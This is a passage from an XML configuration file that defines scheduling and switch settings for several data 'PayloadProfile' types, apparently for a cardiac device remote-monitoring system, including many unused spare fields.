   <Switch name="NSVT_EPIS_NOT" value="Disable"/>
   <Switch name="NSVF_EPIS_NOT" value="Disable"/>
   <Switch name="SPARE_1_NOT" value="Disable"/>
   <Switch name="SPARE_2_NOT" value="Disable"/>
   <Switch name="SPARE_3_NOT" value="Disable"/>
   <Switch name="SPARE_4_NOT" value="Disable"/>
   <Switch name="SPARE_5_NOT" value="Disable"/>
   <iSwitch name="BIV_PACING_DURATION" value="7"/>
   <iSwitch name="RV_PACING_DURATION" value="7"/>
   <iSwitch name="ALERT_MASK_DURATION" value="4000"/>
   <iSwitch name="PERCENT_BIV_PACING" value="100"/>
   <iSwitch name="PERCENT_RV_PACING" value="100"/>
   
  </Controls>
 </PayloadProfile>
 <PayloadProfile Type="GDC">
  <GenerateSchedule GS_Interval="1440"/>
  <UploadSchedule US_Interval="168"/>
  <Controls>
   <Switch name="SCHED_GDC_PREF" value="Disable"/>
   <Switch name="CLEAR_GDC_FLAG" value="Enable"/>
  </Controls>
 </PayloadProfile>
 <PayloadProfile Type="Maintenance">
  <UploadSchedule US_Interval="168"/>
  <Controls>
   <Switch name="MAINT_REBOOT_PREF" value="Disable"/>
   <Switch name="MAINT_PREF" value="Enable"/>
   <Switch name="RF_STAT_COLLECT" value="Disable"/>
   <Switch name="STAT_DATA_UPLD_PREF" value="Enable"/>
  </Controls>
 </PayloadProfile>
 <PayloadProfile Type="MED">
  <GenerateSchedule GS_Interval="24"/>
  <UploadSchedule US_Interval="7"/>
  <Controls>
   <Switch name="SCHED_MED_PREF" value="Enable"/>
   <Switch name="SCHED_MED_WINDOW_PREF" value="Enable"/>
   <iSwitch name="ACTIVE_MED_SCHEDULES" value="1"/>
   <tSwitch name="MED_SCHEDULE_1" value="1100"/>
   <tSwitch name="MED_SCHEDULE_2" value="0500"/>
  </Controls>
 </PayloadProfile>
 <PayloadProfile Type="Spare">
  <GenerateSchedule GS_DateOfEvent="2000-01-01" GS_Interval="0" GS_TimeOfEvent="08:00:00" GS_UnscheduledEvent="Disable" GS_WeeklyEvent="Sunday"/>
  <UploadSchedule US_DateOfEvent="2000-01-01" US_Interval="0" US_TimeOfEvent="08:00:00" US_UnscheduledEvent="Disable" US_WeeklyEvent="Sunday"/>
  <Controls>
   <Switch name="SPARE_FLAG1" value="Disable"/>
   <Switch name="SPARE_FLAG2" value="Enable"/>
   <Switch name="SPARE_FLAG3" value="Disable"/>
   <Switch name="SPARE_FLAG4" value="Disable"/>
   <Switch name="SPARE_FLAG5" value="Disable"/>
   <Switch name="SPARE_FLAG6" value="Disable"/>
   <Switch name="SPARE_FLAG7" value="Disable"/>
   <Switch name="SPARE_FLAG8" value="Disable"/>
   <Switch name="SPARE_FLAG9" value="Disable"/>
   <Switch name="SPARE_FLAG10" value="Disable"/>
   <iSwitch name="SPARE_INTEGER1" value="0"/>
   <iSwitch name="SPARE_INTEGER2" value="0"/>
   <iSwitch name="SPARE_INTEGER3" value="0"/>
   <iSwitch name="SPARE_INTEGER4" value="0"/>
   <iSwitch name="SPARE_INTEGER5" value="0"/>
   <iSwitch name="SPARE_INTEGER6" value="0"/>
   <iSwitch name="SPARE_INTEGER7" value="0"/>
   <iSwitch name="SPARE_INTEGER8" value="0"/>
   <iSwitch name="SPARE_INTEGER9" value="0"/>
   <iSwitch name="SPARE_INTEGER10" value="0"/>
   <rSwitch name="SPARE_REAL4" value="0.0"/>
   <rSwitch name="SPARE_REAL5" value="0.0"/>
   <rSwitch name="SPARE_REAL6" value="0.0"/>
   <rSwitch name="SPARE_REAL7" value="0.0"/>
   <rSwitch name="SPARE_REAL8" value="0.0"/>
   <rSwitch name="SPARE_REAL9" value="0.0"/>
   <rSwitch name="SPARE_REAL10" value="0.0"/>
   <rSwitch name="SPARE_REAL1" value="0.0"/>
   <rSwitch name="SPARE_REAL2" value="0.0"/>
   <rSwitch name="SPARE_REAL3" value="0.0"/>
   <tSwitch name="SPARE_TEXT1" value=" "/>
   <tSwitch name="SPARE_TEXT2" value=" "/>
   <tSwitch name="SPARE_TEXT3" value=" "/>
   <tSwitch name="SPARE_TEXT4" value=" "/>
   <tSwitch name="SPARE_TEXT5" value=" "/>
   <tSwitch name="SPARE_TEXT6" value=" "/>
   <tSwitch name="SPARE_TEXT7" value=" "/>
   <tSwitch name="SPARE_TEXT8" value=" "/>
   <tSwitch name="SPARE_TEXT9" value=" "/>
   <tSwitch name="SPARE_TEXT10" value=" "/>
  </Controls>
 </PayloadProfile>
</profile:ProfileList>